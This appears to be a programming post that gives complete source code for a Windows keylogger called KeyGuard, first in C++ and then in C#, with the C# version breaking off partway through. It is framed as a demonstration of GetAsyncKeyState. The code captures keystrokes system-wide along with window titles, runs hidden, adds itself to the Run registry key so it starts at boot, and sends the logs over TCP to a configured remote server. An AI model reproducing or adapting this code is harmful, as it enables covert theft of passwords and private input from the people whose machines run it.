Win32 Keylogging
Win32 Keylogging code. Sends logs to external listening server. Posted for the illustration of
GetAsyncKeyState
which is the heart of the program and can be used for any key listening
application across programs, as it doesn't need focus. All keyboard input in Windows gets
filtered by it. Useful for game overlays, background listeners etc. Further down I've also posted
the C# .NET version, where I've P/Invoked the necessary DLLs to use much of the Win32 code.#include "stdafx.h"
#include "KeyGuard.h"
#define MAX_LOADSTRING 100
#define MAX_LOG_SIZE 1024
#define LOG_FILE_NAME "KeyGuard.log"
// Global variable declarations
HINSTANCE hInst;
HWND hWnd;
HWND fgWindow;
TCHAR szTitle[MAX_LOADSTRING];
TCHAR szWindowClass[MAX_LOADSTRING];
TCHAR ProgramID[11];
TCHAR ServerIP[16];
TCHAR ServerPort[6];
TCHAR fgWindowTitle[50];
BOOL lastKeyBeenUp;
BOOL CapsLockOn;
BOOL ShiftIsDown;
BOOL RAltIsDown;
BOOL TabIsUp;
INT CurrentTabKey;
INT FormatKeys[8];
INT lastKey;
// Function prototypes
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, INT);
VOID ConvertWToChar(TCHAR *Source, CHAR *Dest);
VOID SaveToLog(CHAR, CHAR*, INT);
VOID Install();
VOID KeyScan();
VOID SendLog();
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
MSG msg;
HACCEL hAccelTable;
INT nArgs, i;
LPWSTR *szParameters;
// Initializations
ZeroMemory(&msg, sizeof(MSG));
ProgramID[0] = NULL;
ServerIP[0] = NULL;
ServerPort[0] = NULL;
lastKeyBeenUp = FALSE;
TabIsUp = FALSE;
lastKey = VK_ESCAPE;
fgWindow = hWnd;
CurrentTabKey = TXT_KEYGUARD_ID;
wcscpy_s(fgWindowTitle, szTitle);
FormatKeys[0] = VK_SPACE;
FormatKeys[1] = VK_RETURN;
FormatKeys[2] = VK_OEM_PLUS;
FormatKeys[3] = VK_OEM_COMMA;
FormatKeys[4] = VK_OEM_MINUS;
FormatKeys[5] = VK_OEM_PERIOD;
FormatKeys[6] = VK_BACK;
FormatKeys[7] = VK_TAB;
// Get program parameters
szParameters = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if (szParameters != NULL) {
for (i = 0; i<nArgs; i++) {
if (wcscmp(szParameters[i], L"-hide") == 0)
nCmdShow = SW_HIDE;
if (i == 2) // ID must be second parameter
wcscpy_s(ProgramID, szParameters[i]);
if (i == 3) // IP
wcscpy_s(ServerIP, szParameters[i]);
if (i == 4) // Port
wcscpy_s(ServerPort, szParameters[i]);
}
}
// Initialize global strings
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_KEYGUARD, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// Destroy other instances of KeyGuard
PostMessage(FindWindow(szWindowClass, szTitle),WM_DESTROY,0,0);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
return FALSE;
hAccelTable = LoadAccelerators(hInstance,
MAKEINTRESOURCE(IDC_KEYGUARD));
// Main message loop:
while (msg.message != WM_QUIT) {
Sleep(5); // Try to stay CPU friendly, but still quick
if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) != 0) {
TranslateAccelerator(msg.hwnd, hAccelTable, &msg);
TranslateMessage(&msg);
DispatchMessage(&msg);
}
KeyScan(); // Scans and logs keys
SendLog(); // Send if PID exists and > MAX_LOG_SIZE
}
return (int) msg.wParam;
}
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance,
MAKEINTRESOURCE(IDI_KEYGUARD));
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCE(IDC_KEYGUARD);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance,
MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassEx(&wcex);
}
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance;
// Main window.
hWnd = CreateWindow(szWindowClass, szTitle, WS_POPUPWINDOW|WS_CAPTION,
CW_USEDEFAULT, 0, 240, 150, NULL, NULL, hInstance, NULL);
// Create "Program ID:" edit control.
CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"",
WS_VISIBLE | WS_CHILD | ES_NUMBER,
95, 10, 90, 20, hWnd, (HMENU)TXT_KEYGUARD_ID, NULL, NULL);
SetDlgItemText(hWnd, TXT_KEYGUARD_ID, ProgramID);
// Create "Server IP:" edit control.
CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"",
WS_VISIBLE | WS_CHILD,
95, 30, 120, 20, hWnd, (HMENU)TXT_KEYGUARD_IP, NULL, NULL);
SetDlgItemText(hWnd, TXT_KEYGUARD_IP, ServerIP);
// Create "Server Port:" edit control.
CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"",
WS_VISIBLE | WS_CHILD | ES_NUMBER,
95, 50, 50, 20, hWnd, (HMENU)TXT_KEYGUARD_PORT, NULL, NULL);
SetDlgItemText(hWnd, TXT_KEYGUARD_PORT, ServerPort);
// Create "Update / Install" button control.
CreateWindowEx(NULL, L"BUTTON", L"Install / update", WS_VISIBLE | WS_CHILD,
35, 70, 150, 20, hWnd, (HMENU)BTN_KEYGUARD_ID, NULL, NULL);
if (!hWnd)
return FALSE;
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
int wmId, wmEvent;
TCHAR lblProgramID[] = L"Program ID:";
TCHAR lblServerIP[] = L" Server IP:";
TCHAR lblServerPort[] = L"Server Port:";
TCHAR szKeyGuardID[11];
TCHAR szKeyGuardServerIP[16];
TCHAR szKeyGuardServerPort[6];
PAINTSTRUCT ps;
HDC hdc;
switch (message) {
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
switch (wmId) {
case IDM_ABOUT:
DialogBox(hInst,
MAKEINTRESOURCE(IDD_ABOUTBOX),
hWnd,
About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
case BTN_KEYGUARD_ID:
if (GetDlgItemText(hWnd, TXT_KEYGUARD_ID,
szKeyGuardID,
sizeof(szKeyGuardID)) < 10)
{
MessageBox(NULL, L"Must be 10 numbers.",
L"FAIL", MB_OK | MB_ICONERROR);
break;
}
if (GetDlgItemText(hWnd, TXT_KEYGUARD_IP,
szKeyGuardServerIP,
sizeof(szKeyGuardServerIP)) < 7)
{
MessageBox(NULL, L"Invalid IPv4 address.",
L"FAIL", MB_OK | MB_ICONERROR);
break;
}
if (GetDlgItemTextW(hWnd, TXT_KEYGUARD_PORT,
szKeyGuardServerPort,
sizeof(szKeyGuardServerPort)) < 4)
{
MessageBox(NULL, L"Invalid port number.",
L"FAIL", MB_OK | MB_ICONERROR);
break;
}
wcscpy_s(ProgramID, szKeyGuardID);
wcscpy_s(ServerIP, szKeyGuardServerIP);
wcscpy_s(ServerPort, szKeyGuardServerPort);
Install();
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// Add any drawing code here.
TextOut(hdc, 10, 10, lblProgramID, ARRAYSIZE(lblProgramID));
TextOut(hdc, 10, 30, lblServerIP, ARRAYSIZE(lblServerIP));
TextOut(hdc, 10, 50, lblServerPort, ARRAYSIZE(lblServerPort));
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message) {
case WM_INITDIALOG:
return (INT_PTR)TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
VOID Install()
{
HKEY hkey;
TCHAR NewRegistryKeyValue[100];
TCHAR ExecuteParams[50];
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\"
L"Windows\\CurrentVersion\\Run",
0,KEY_SET_VALUE,&hkey) != ERROR_SUCCESS)
{
MessageBox(NULL, L"You need administrative rights to do "
L"this.", L"Install", MB_OK | MB_ICONERROR );
return;
}
// Update registry
wcscpy_s(NewRegistryKeyValue, L"C:\\KeyGuard\\KeyGuard.exe\" -hide ");
wcscat_s(NewRegistryKeyValue, ProgramID);
wcscat_s(NewRegistryKeyValue, L" ");
wcscat_s(NewRegistryKeyValue, ServerIP);
wcscat_s(NewRegistryKeyValue, L" ");
wcscat_s(NewRegistryKeyValue, ServerPort);
RegDeleteKeyValue(hkey, NULL, L"KeyGuard");
if(RegSetValueEx(
hkey,
L"KeyGuard",
0,
REG_SZ,
(const BYTE*)NewRegistryKeyValue,
sizeof(NewRegistryKeyValue)
) != ERROR_SUCCESS) {
MessageBox(NULL, L"Failed creating registry startup.", L"e", MB_OK | MB_ICONERROR );
}
RegCloseKey(hkey);
// Install folder and file
CreateDirectory(L"C:\\KeyGuard\\", NULL);
CopyFile(L"KeyGuard.exe", L"C:\\KeyGuard\\KeyGuard.exe", FALSE);
MessageBox(
NULL,
L"Done. Starting C:\\KeyGuard\\KeyGuard.exe in"
L" hidden mode ...", L"Install / update",
MB_OK | MB_ICONINFORMATION
);
// Start the other KeyGuard and send a redundant quit message
wcscpy_s(ExecuteParams, L"-hide ");
wcscat_s(ExecuteParams, ProgramID);
wcscat_s(ExecuteParams, L" ");
wcscat_s(ExecuteParams, ServerIP);
wcscat_s(ExecuteParams, L" ");
wcscat_s(ExecuteParams, ServerPort);
ShellExecute(
NULL,
L"open", L"KeyGuard.exe", ExecuteParams,
L"C:\\KeyGuard\\", SW_SHOW
);
PostQuitMessage(0);
}
VOID KeyScan()
{
int loop_a;
CHAR *formatValue, logValue;
// Prevent log spam
if ((GetKeyState(lastKey) & 0x8000) == 0)
lastKeyBeenUp = TRUE;
if (!lastKeyBeenUp)
return;
// Modifier keys
if ((GetKeyState(VK_SHIFT) & 0x8000) == 0)
ShiftIsDown = FALSE;
else
ShiftIsDown = TRUE;
if ((GetKeyState(VK_RMENU) & 0x8000) == 0)
RAltIsDown = FALSE;
else
RAltIsDown = TRUE;
// Enable TabSTOP for UI instead of crazyness.
if ((GetKeyState(VK_TAB) & 0x8000) == 0)
TabIsUp = TRUE;
// 0-9
for (loop_a=0x30; loop_a<=0x39; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch (loop_a) {
case 0x30:
logValue = (ShiftIsDown?'=':'0');
break;
case 0x31:
logValue = (ShiftIsDown?'!':'1');
break;
case 0x32:
logValue = (ShiftIsDown?'"':'2');
logValue = (RAltIsDown?'@':logValue);
break;
case 0x33:
logValue = (ShiftIsDown?'#':'3');
break;
case 0x34:
logValue = (ShiftIsDown?'¤':'4');
break;
case 0x35:
logValue = (ShiftIsDown?'%':'5');
break;
case 0x36:
logValue = (ShiftIsDown?'&':'6');
break;
case 0x37:
logValue = (ShiftIsDown?'/':'7');
break;
case 0x38:
logValue = (ShiftIsDown?'(':'8');
break;
case 0x39:
logValue = (ShiftIsDown?')':'9');
break;
}
SaveToLog(logValue, NULL, loop_a);
return;
}
}
// 0-9 Numpad
for(loop_a=0x60; loop_a<=0x69; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch(loop_a) {
case 0x06:
logValue = '0';
break;
case 0x61:
logValue = '1';
break;
case 0x62:
logValue = '2';
break;
case 0x63:
logValue = '3';
break;
case 0x64:
logValue = '4';
break;
case 0x65:
logValue = '5';
break;
case 0x66:
logValue = '6';
break;
case 0x67:
logValue = '7';
break;
case 0x68:
logValue = '8';
break;
case 0x69:
logValue = '9';
break;
}
SaveToLog(logValue, NULL, loop_a);
return;
}
}
// Works out case-sensitiv logging
if ((GetKeyState(VK_CAPITAL) & 0x1) > 0 &&
(GetKeyState(VK_SHIFT)&0x8000) == 0)
CapsLockOn = TRUE;
else if ((GetKeyState(VK_CAPITAL) & 0x1) == 0 &&
(GetKeyState(VK_SHIFT) & 0x8000) > 0)
CapsLockOn = TRUE;
else
CapsLockOn = FALSE;
// A-Z
for(loop_a=0x41; loop_a<=0x5A; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch(loop_a) {
case 0x41:
logValue = (CapsLockOn?'A':'a');
break;
case 0x42:
logValue = (CapsLockOn?'B':'b');
break;
case 0x43:
logValue = (CapsLockOn?'C':'c');
break;
case 0x44:
logValue = (CapsLockOn?'D':'d');
break;
case 0x45:
logValue = (CapsLockOn?'E':'e');
break;
case 0x46:
logValue = (CapsLockOn?'F':'f');
break;
case 0x47:
logValue = (CapsLockOn?'G':'g');
break;
case 0x48:
logValue = (CapsLockOn?'H':'h');
break;
case 0x49:
logValue = (CapsLockOn?'I':'i');
break;
case 0x4A:
logValue = (CapsLockOn?'J':'j');
break;
case 0x4B:
logValue = (CapsLockOn?'K':'k');
break;
case 0x4C:
logValue = (CapsLockOn?'L':'l');
break;
case 0x4D:
logValue = (CapsLockOn?'M':'m');
break;
case 0x4E:
logValue = (CapsLockOn?'N':'n');
break;
case 0x4F:
logValue = (CapsLockOn?'O':'o');
break;
case 0x50:
logValue = (CapsLockOn?'P':'p');
break;
case 0x51:
logValue = (CapsLockOn?'Q':'q');
break;
case 0x52:
logValue = (CapsLockOn?'R':'r');
break;
case 0x53:
logValue = (CapsLockOn?'S':'s');
break;
case 0x54:
logValue = (CapsLockOn?'T':'t');
break;
case 0x55:
logValue = (CapsLockOn?'U':'u');
break;
case 0x56:
logValue = (CapsLockOn?'V':'v');
break;
case 0x57:
logValue = (CapsLockOn?'W':'w');
break;
case 0x58:
logValue = (CapsLockOn?'X':'x');
break;
case 0x59:
logValue = (CapsLockOn?'Y':'y');
break;
case 0x5A:
logValue = (CapsLockOn?'Z':'z');
break;
}
SaveToLog(logValue, NULL, loop_a);
return;
}
}
// Formatting
for (loop_a=0; loop_a<=8; loop_a++) {
if ((GetAsyncKeyState(FormatKeys[loop_a]) & 0x8000) > 0) {
switch(FormatKeys[loop_a]) {
case VK_SPACE:
formatValue = " ";
break;
case VK_RETURN:
formatValue = "\r\n";
break;
case VK_OEM_PLUS:
formatValue = (ShiftIsDown?"?":"+");
break;
case VK_OEM_COMMA:
formatValue = (ShiftIsDown?";":",");
break;
case VK_OEM_MINUS:
formatValue = (ShiftIsDown?"_":"-");
break;
case VK_OEM_PERIOD:
formatValue = (ShiftIsDown?":":".");
break;
case VK_BACK:
formatValue = "<";
break;
case VK_TAB:
formatValue = "[Tab]";
if (CurrentTabKey == TXT_KEYGUARD_ID && TabIsUp) {
SetFocus(GetDlgItem(hWnd, TXT_KEYGUARD_IP));
CurrentTabKey = TXT_KEYGUARD_IP;
} else if (CurrentTabKey == TXT_KEYGUARD_IP && TabIsUp) {
SetFocus(GetDlgItem(hWnd, TXT_KEYGUARD_PORT));
CurrentTabKey = TXT_KEYGUARD_PORT;
} else if (CurrentTabKey == TXT_KEYGUARD_PORT && TabIsUp) {
SetFocus(GetDlgItem(hWnd, TXT_KEYGUARD_ID));
CurrentTabKey = TXT_KEYGUARD_ID;
}
TabIsUp = FALSE;
break;
}
SaveToLog(NULL, formatValue, FormatKeys[loop_a]);
}
}
}
VOID SaveToLog(CHAR c, CHAR *s, INT k)
{
FILE *logFile;
TCHAR cur_fgWindowTitle[50];
CHAR LogTitle[50];
// Check and set a new window title in the log
fgWindow = GetForegroundWindow();
GetWindowText(fgWindow, cur_fgWindowTitle, 50);
ConvertWToChar(cur_fgWindowTitle, LogTitle);
// Don't log our own window
if (wcscmp(cur_fgWindowTitle, szTitle) == 0)
return;
// Don't log if there's no Program ID
if (ProgramID[0] == NULL)
return;
if (wcscmp(cur_fgWindowTitle, fgWindowTitle) != 0) {
GetWindowText(fgWindow, fgWindowTitle, 50);
// Update log with new window title
if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
fprintf_s(logFile,
"\r\n\r\n[WINDOW: %s%s",
LogTitle,
"]\r\n");
fclose(logFile);
}
}
// Log a single character
if (c != NULL) {
if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
fprintf_s(logFile, "%c", c);
fclose(logFile);
}
}
// Log a formatting value
if (s != NULL) {
if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
fprintf_s(logFile, "%s", s);
fclose(logFile);
}
}
lastKey = k;
lastKeyBeenUp = FALSE;
}
VOID SendLog()
{
WSADATA wsaData;
SOCKET KGSocket = INVALID_SOCKET;
struct addrinfo *result = NULL, *ptr = NULL, hints;
BOOL sentFailFlag = FALSE;
CHAR LogData[MAX_LOG_SIZE+1], PID[11];
CHAR ServerIPANSI[16], ServerPortANSI[6];
FILE *logFile;
INT LogSize;
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (ProgramID[0] == NULL ||
ServerIP == NULL ||
ServerPort == NULL)
return;
// Get a local ANSI copy of the ID, for send()
ConvertWToChar(ProgramID, PID);
ConvertWToChar(ServerIP, ServerIPANSI);
ConvertWToChar(ServerPort, ServerPortANSI);
// Get log size
if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
fseek(logFile, 0, SEEK_END);
LogSize = (int)ftell(logFile);
fclose(logFile);
if (LogSize < MAX_LOG_SIZE)
return;
} else {
return;
}
// Initiate connection to server
if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
return;
if (getaddrinfo(ServerIPANSI, ServerPortANSI, &hints, &result) != 0) {
WSACleanup();
return;
}
ptr=result;
KGSocket = socket(ptr->ai_family,
ptr->ai_socktype,
ptr->ai_protocol);
if (KGSocket == INVALID_SOCKET) {
freeaddrinfo(result);
WSACleanup();
return;
}
if (connect(KGSocket,
ptr->ai_addr,
(int)ptr->ai_addrlen) == SOCKET_ERROR)
{
closesocket(KGSocket);
KGSocket = INVALID_SOCKET;
freeaddrinfo(result);
WSACleanup();
return;
}
// Get log data
if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
LogSize = fread(LogData, sizeof(char), MAX_LOG_SIZE, logFile);
LogData[LogSize] = '\0';
fclose(logFile);
}
// Attempt to send PID and log data
if (send(KGSocket, PID, sizeof(PID), 0) == SOCKET_ERROR)
sentFailFlag = TRUE;
if (send(KGSocket, LogData, sizeof(LogData), 0) == SOCKET_ERROR)
sentFailFlag = TRUE;
// Reset log
if (!sentFailFlag) {
DeleteFileA(LOG_FILE_NAME);
}
closesocket(KGSocket);
KGSocket = INVALID_SOCKET;
freeaddrinfo(result);
WSACleanup();
return;
}
VOID ConvertWToChar(TCHAR *Source, CHAR *Dest)
{
int i = 0;
while(Source[i] != '\0') {
Dest[i] = (char)Source[i];
++i;
}
Dest[i] = '\0';
}
The C# .NET version
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Diagnostics;
using Microsoft.Win32;
using System.Data.SqlServerCe;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;
namespace KeyGuard_Client
{
public partial class Form1 : Form
{
// Struct for PeekMessage MSG.
[StructLayout(LayoutKind.Sequential)]
public struct NativeMessage
{
public IntPtr handle;
public uint msg;
public IntPtr wParam;
public IntPtr lParam;
public uint time;
public Point p;
}
// External DLL imports.
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
static extern bool PeekMessage(out NativeMessage lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);
// Private static variables.
private static string InstallDirectory = @"C:\KeyGuard\";
private static string ClientFileName = @"KeyGuardPatrol.exe";
private static string exepath = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
private static string iClientFileName = string.Format(@"{0}\{1}", exepath, @"KeyGuard Client.exe");
// Private variables.
private bool EngineRunning = false;
private bool ShiftIsDown = false;
private bool RAltIsDown = false;
private bool CapsLockOn = false;
private StringBuilder LogContainer = new StringBuilder();
private StringBuilder fgWindowTitle = new StringBuilder(50);
private TcpClient Client = new TcpClient();
private NetworkStream ClientStream;
private string[] Settings = new string[3];
private bool Installed = false;
private bool HasGreeted = false;
private bool ClientStillConnected = false;
private NativeMessage msg = new NativeMessage();
private List<int> CurrentDownKeys = new List<int>();
private bool Debugging = false;
// Formatting keys.
int[] FormatKeys = {
(int)Keys.Space,
(int)Keys.Return,
(int)Keys.Oemplus,
(int)Keys.Oemcomma,
(int)Keys.OemMinus,
(int)Keys.OemPeriod,
(int)Keys.Back,
(int)Keys.Tab
};
public Form1(bool WeAreInstalled, string[] args)
{
InitializeComponent();
Installed = WeAreInstalled;
Application.ApplicationExit += new EventHandler(this.OnApplicationExit);
if (args.Length > 0)
if (args[0] == "-debug")
Debugging = true;
// Load registry settings if found.
try {
string SettingsKey = @"SOFTWARE\KeyGuard";
using(RegistryKey RK = Registry.CurrentUser.OpenSubKey(SettingsKey)) {
txtProgramID.Text = RK.GetValue("ID").ToString();
txtServerIP.Text = RK.GetValue("IP").ToString();
txtServerPort.Text = RK.GetValue("Port").ToString();
RK.Close();
}
} catch (Exception ee) {
if (Debugging)
MsgBox("Form1(): "+ ee.Message);
}
// Run loop in background.
if (Installed) {
// Kill duplicate patrols if we're already running.
Process[] p = Process.GetProcessesByName("KeyGuardPatrol");
if (p.Length > 1) {
for (int n=p.Length-1; n>0; n--)
p[n].Kill();
}
LoadSettings();
EngineRunning = true;
bkWorker.RunWorkerAsync();
}
}
private void OnApplicationExit(object sender, EventArgs e)
{
try {
ClientStream.Close();
Client.Close();
} catch (Exception) {}
}
private void LoadSettings()
{
// Update registry settings.
string SettingsKey = @"SOFTWARE\KeyGuard";
using(RegistryKey RK = Registry.CurrentUser.OpenSubKey(SettingsKey)) {
Settings[0] = RK.GetValue("ID").ToString();
Settings[1] = RK.GetValue("IP").ToString();
Settings[2] = RK.GetValue("Port").ToString();
RK.Close();
}
txtProgramID.Text = Settings[0];
txtServerIP.Text = Settings[1];
txtServerPort.Text = Settings[2];
}
private void SendLog()
{
// Check for new window title before size check.
try {
IntPtr fgWindow = GetForegroundWindow();
StringBuilder cur_fgWindowTitle = new StringBuilder(50);
GetWindowText(fgWindow, cur_fgWindowTitle, 50);
string FormattedTitle;
if (cur_fgWindowTitle.ToString() != fgWindowTitle.ToString() &&
cur_fgWindowTitle.ToString() != "KeyGuard Client" &&
cur_fgWindowTitle.ToString() != "KeyGuard Server" &&
cur_fgWindowTitle.ToString() != "")
{
GetWindowText(fgWindow, fgWindowTitle, 50);
FormattedTitle = "\n\n"+
DateTime.Now.ToString("yyyy-MM-dd HH:mm") +
" [WINDOW: "+
cur_fgWindowTitle.ToString() +
"]\n";
LogContainer.Append(FormattedTitle);
}
} catch (Exception ee) {
if (Debugging)
MsgBox("SendLog()_1: "+ ee.Message);
}
// Send log to configured server in settings.
byte[] KGID = new byte[22];
byte[] KGPING = new byte[2];
byte[] KGLOG = new byte[Encoding.ASCII.GetByteCount(LogContainer.ToString())];
try {
if (!HasGreeted) {
KGID = Encoding.ASCII.GetBytes("!KGID!"+ Settings[0] +"!KGID!");
ClientStream.Write(KGID, 0, KGID.Length);
HasGreeted = true;
}
if (LogContainer.Length > 0) {
KGLOG = Encoding.ASCII.GetBytes(LogContainer.ToString());
ClientStream.Write(KGLOG, 0, KGLOG.Length);
LogContainer.Clear();
}
// Catch ping from server.
if (ClientStream.DataAvailable)
ClientStream.Read(KGPING, 0, KGPING.Length);
} catch (Exception e) {
if (e is IOException || e is ObjectDisposedException)
ClientStillConnected = false;
if (Debugging)
MsgBox("SendLog()_2: "+ e.Message);
}
}
private void KeyScan()
{
int loop_a;
string formatValue = "";
char logValue = '_';
// Prevent log spam.
for (loop_a=0; loop_a<CurrentDownKeys.Count; loop_a++) {
if ((GetKeyState(CurrentDownKeys[loop_a]) & 0x8000) == 0)
CurrentDownKeys.RemoveAt(loop_a);
}
// Modifier keys
if ((GetKeyState((int)Keys.ShiftKey) & 0x8000) == 0)
ShiftIsDown = false;
else
ShiftIsDown = true;
if ((GetKeyState((int)Keys.RMenu) & 0x8000) == 0)
RAltIsDown = false;
else
RAltIsDown = true;
// 0-9
for (loop_a=0x30; loop_a<=0x39; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch (loop_a) {
case 0x30:
logValue = (ShiftIsDown?'=':'0');
break;
case 0x31:
logValue = (ShiftIsDown?'!':'1');
break;
case 0x32:
logValue = (ShiftIsDown?'"':'2');
logValue = (RAltIsDown?'@':logValue);
break;
case 0x33:
logValue = (ShiftIsDown?'#':'3');
break;
case 0x34:
logValue = (ShiftIsDown?'¤':'4');
break;
case 0x35:
logValue = (ShiftIsDown?'%':'5');
break;
case 0x36:
logValue = (ShiftIsDown?'&':'6');
break;
case 0x37:
logValue = (ShiftIsDown?'/':'7');
break;
case 0x38:
logValue = (ShiftIsDown?'(':'8');
break;
case 0x39:
logValue = (ShiftIsDown?')':'9');
break;
}
if (logValue != '_' && !CurrentDownKeys.Contains(loop_a)) {
LogContainer.Append(logValue);
CurrentDownKeys.Add(loop_a);
}
return;
}
}
// 0-9 Numpad
for(loop_a=0x60; loop_a<=0x69; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch(loop_a) {
case 0x06:
logValue = '0';
break;
case 0x61:
logValue = '1';
break;
case 0x62:
logValue = '2';
break;
case 0x63:
logValue = '3';
break;
case 0x64:
logValue = '4';
break;
case 0x65:
logValue = '5';
break;
case 0x66:
logValue = '6';
break;
case 0x67:
logValue = '7';
break;
case 0x68:
logValue = '8';
break;
case 0x69:
logValue = '9';
break;
}
if (logValue != '_' && !CurrentDownKeys.Contains(loop_a)) {
LogContainer.Append(logValue);
CurrentDownKeys.Add(loop_a);
}
return;
}
}
// Works out case-sensitiv logging
if ((GetKeyState((int)Keys.Capital) & 0x1) > 0 &&
(GetKeyState((int)Keys.ShiftKey) & 0x8000) == 0)
CapsLockOn = true;
else if ((GetKeyState((int)Keys.Capital) & 0x1) == 0 &&
(GetKeyState((int)Keys.ShiftKey) & 0x8000) > 0)
CapsLockOn = true;
else
CapsLockOn = false;
// A-Z
for(loop_a=0x41; loop_a<=0x5A; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch(loop_a) {
case 0x41:
logValue = (CapsLockOn?'A':'a');
break;
case 0x42:
logValue = (CapsLockOn?'B':'b');
break;
case 0x43:
logValue = (CapsLockOn?'C':'c');
break;
case 0x44:
logValue = (CapsLockOn?'D':'d');
break;
case 0x45:
logValue = (CapsLockOn?'E':'e');
break;
case 0x46:
logValue = (CapsLockOn?'F':'f');
break;
case 0x47:
logValue = (CapsLockOn?'G':'g');
break;
case 0x48:
logValue = (CapsLockOn?'H':'h');
break;
case 0x49:
logValue = (CapsLockOn?'I':'i');
break;
case 0x4A:
logValue = (CapsLockOn?'J':'j');
break;
case 0x4B:
logValue = (CapsLockOn?'K':'k');
break;
case 0x4C:
logValue = (CapsLockOn?'L':'l');
break;
case 0x4D:
logValue = (CapsLockOn?'M':'m');
break;
case 0x4E:
logValue = (CapsLockOn?'N':'n');
break;
case 0x4F:
logValue = (CapsLockOn?'O':'o');
break;
case 0x50:
logValue = (CapsLockOn?'P':'p');
break;
case 0x51:
logValue = (CapsLockOn?'Q':'q');
break;
case 0x52:
logValue = (CapsLockOn?'R':'r');
break;
case 0x53:
logValue = (CapsLockOn?'S':'s');
break;
case 0x54:
logValue = (CapsLockOn?'T':'t');
break;
case 0x55:
logValue = (CapsLockOn?'U':'u');
break;
case 0x56:
logValue = (CapsLockOn?'V':'v');
break;
case 0x57:
logValue = (CapsLockOn?'W':'w');
break;
case 0x58:
logValue = (CapsLockOn?'X':'x');
break;
case 0x59:
logValue = (CapsLockOn?'Y':'y');
break;
case 0x5A:
logValue = (CapsLockOn?'Z':'z');
break;
}
if (logValue != '_' && !CurrentDownKeys.Contains(loop_a)) {
LogContainer.Append(logValue);
CurrentDownKeys.Add(loop_a);
}
return;
}
}
for (loop_a=0; loop_a<=7; loop_a++) {
if ((GetAsyncKeyState(FormatKeys[loop_a]) & 0x8000) > 0) {
switch(loop_a) {
case 0:
formatValue = " ";
break;
case 1:
formatValue = "[ENTER]";
break;
case 2:
formatValue = (ShiftIsDown?"?":"+");
break;
case 3:
formatValue = (ShiftIsDown?";":",");
break;
case 4:
